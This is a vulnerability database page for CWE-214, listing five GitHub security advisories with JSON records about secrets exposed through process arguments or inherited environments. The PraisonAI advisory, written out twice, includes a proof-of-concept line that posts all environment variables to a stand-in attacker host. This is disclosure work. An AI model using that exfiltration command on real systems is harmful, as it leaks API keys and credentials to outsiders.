CWE-214
AllowedInvocation of Process Using Visible Sensitive Information
Abstraction: Base · Status: Incomplete
A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.
35 vulnerabilities reference this CWE, most recent first.
GHSA-FHJF-QCR2-G8M7
Vulnerability from github – Published: 2025-05-02 00:32 – Updated: 2025-05-02 00:32IBM MQ Container when used with the IBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, and MQ Operator SC2 3.2.0 through 3.2.10 and configured with Cloud Pak for Integration Keycloak could disclose sensitive information to a privileged user.
{
"affected": [],
"aliases": [
"CVE-2025-1333"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-01T22:15:16Z",
"severity": "MODERATE"
},
"details": "IBM MQ Container when used with the IBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, and MQ Operator SC2 3.2.0 through 3.2.10 and configured with Cloud Pak for Integration Keycloak could disclose sensitive information to a privileged user.",
"id": "GHSA-fhjf-qcr2-g8m7",
"modified": "2025-05-02T00:32:15Z",
"published": "2025-05-02T00:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1333"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7232272"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FJRV-VX9M-4JPJ
Vulnerability from github – Published: 2023-03-28 21:30 – Updated: 2023-04-05 20:19Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.veracode.jenkins:veracode-scan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "23.3.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25722"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-05T20:19:51Z",
"nvd_published_at": "2023-03-28T20:15:00Z",
"severity": "MODERATE"
},
"details": "Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments.",
"id": "GHSA-fjrv-vx9m-4jpj",
"modified": "2023-04-05T20:19:51Z",
"published": "2023-03-28T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25722"
},
{
"type": "WEB",
"url": "https://community.veracode.com/s/global-search/CVE-2023-25722"
},
{
"type": "WEB",
"url": "https://docs.veracode.com/updates/r/c_all_int#veracode-jenkins-plugin-233190"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/veracode-scan-plugin"
},
{
"type": "WEB",
"url": "https://veracode.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Veracode Scan Jenkins Plugin vulnerable to information disclosure"
}
GHSA-PJ2R-F9MW-VRCQ
Vulnerability from github – Published: 2026-04-10 19:28 – Updated: 2026-04-10 19:28PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., MCP("npx -y @smithery/cli ...")). These commands are executed through Python’s subprocess module. By default, the implementation forwards the entire parent process environment to the spawned subprocess:
# src/praisonai-agents/praisonaiagents/mcp/mcp.py
env = kwargs.get('env', {})
if not env:
env = os.environ.copy()
As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.
This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as npx -y, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.
Reproducing the Attack
- Export a secret key:
export SUPER_SECRET_KEY=123456_pwned - Start an MCP tool locally that dumps its inherited environment:
from praisonaiagents.mcp import MCP
# The underlying MCP library spawns this command via subprocess and it dumps the variables
mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"')
- Observe that
SUPER_SECRET_KEYand all foundational LLM keys are printed, indicating they've been leaked to the untrusted command.
POC
from praisonaiagents.mcp import MCP
mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"')
Real-world Impact
Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as npx or pipx) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in .env files or runtime configurations.
In supply chain attack scenarios, a malicious or compromised package can read os.environ and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.
Remediation Steps
- Explicit API Exclusions: Sanitize
envdictionaries before giving them tosubprocess. Explicitly remove known sensitive API keys (OPENAI_API_KEY, keys matching*_API_KEY,*_TOKEN, etc.) from child processes unless explicitly whitelisted by the user. - Provide a strict allowlist parameter for variables that the developer intends to pass down.
- Advise users in the documentation about the risks of
npx -yin MCP tool loading.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40159"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-214"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:28:15Z",
"nvd_published_at": "2026-04-10T17:17:13Z",
"severity": "MODERATE"
},
"details": "PraisonAI\u2019s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP(\"npx -y @smithery/cli ...\")`). These commands are executed through Python\u2019s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess:\n\n```python\n# src/praisonai-agents/praisonaiagents/mcp/mcp.py\nenv = kwargs.get(\u0027env\u0027, {})\nif not env:\n env = os.environ.copy()\n```\n\nAs a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.\n\nThis behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.\n\n\n## Reproducing the Attack\n1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned`\n2. Start an MCP tool locally that dumps its inherited environment:\n```python\nfrom praisonaiagents.mcp import MCP\n# The underlying MCP library spawns this command via subprocess and it dumps the variables\nmcp = MCP(\u0027python -c \"import os, json; print(json.dumps(dict(os.environ)))\"\u0027)\n```\n3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they\u0027ve been leaked to the untrusted command.\n\n\n##POC\n```\nfrom praisonaiagents.mcp import MCP\n\nmcp = MCP(\u0027python -c \"import os,requests;requests.post(\\\u0027https://attacker.com\\\u0027,json=dict(os.environ))\"\u0027)\n```\n\n## Real-world Impact\n\nDevelopers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations.\n\nIn supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.\n\n## Remediation Steps\n1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user.\n2. Provide a strict allowlist parameter for variables that the developer intends to pass down.\n3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.",
"id": "GHSA-pj2r-f9mw-vrcq",
"modified": "2026-04-10T19:28:15Z",
"published": "2026-04-10T19:28:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pj2r-f9mw-vrcq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40159"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution"
}
GHSA-V7GP-F4WC-H5W4
Vulnerability from github – Published: 2024-01-22 15:30 – Updated: 2025-06-20 21:31CloudLinux CageFS 7.1.1-1 or below passes the authentication token as command line argument. In some configurations this allows local users to view it via the process list and gain code execution as another user.
{
"affected": [],
"aliases": [
"CVE-2020-36771"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-22T14:15:07Z",
"severity": "HIGH"
},
"details": "CloudLinux\n CageFS 7.1.1-1 or below passes the authentication token as command line\n argument. In some configurations this allows local users to view it via\n the process list and gain code execution as another user.",
"id": "GHSA-v7gp-f4wc-h5w4",
"modified": "2025-06-20T21:31:46Z",
"published": "2024-01-22T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36771"
},
{
"type": "WEB",
"url": "https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100"
},
{
"type": "WEB",
"url": "https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176790/CloudLinux-CageFS-7.1.1-1-Token-Disclosure.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jan/24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5QR-Q983-45WW
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31OpenClaw before 2026.3.31 contains an environment variable leakage vulnerability in SSH-based sandbox backends that pass unsanitized process.env to child processes. Attackers can exploit this by leveraging non-default SSH environment forwarding configurations to leak sensitive environment variables from parent processes to SSH child processes.
{
"affected": [],
"aliases": [
"CVE-2026-41357"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T22:16:43Z",
"severity": "LOW"
},
"details": "OpenClaw before 2026.3.31 contains an environment variable leakage vulnerability in SSH-based sandbox backends that pass unsanitized process.env to child processes. Attackers can exploit this by leveraging non-default SSH environment forwarding configurations to leak sensitive environment variables from parent processes to SSH child processes.",
"id": "GHSA-w5qr-q983-45ww",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j9pv-rrcj-6pfx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41357"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/cfe14459531e002a1c61c27d97ec7dc8aecddc1f"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-unsanitized-environment-variable-leakage-in-ssh-sandbox-backends"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.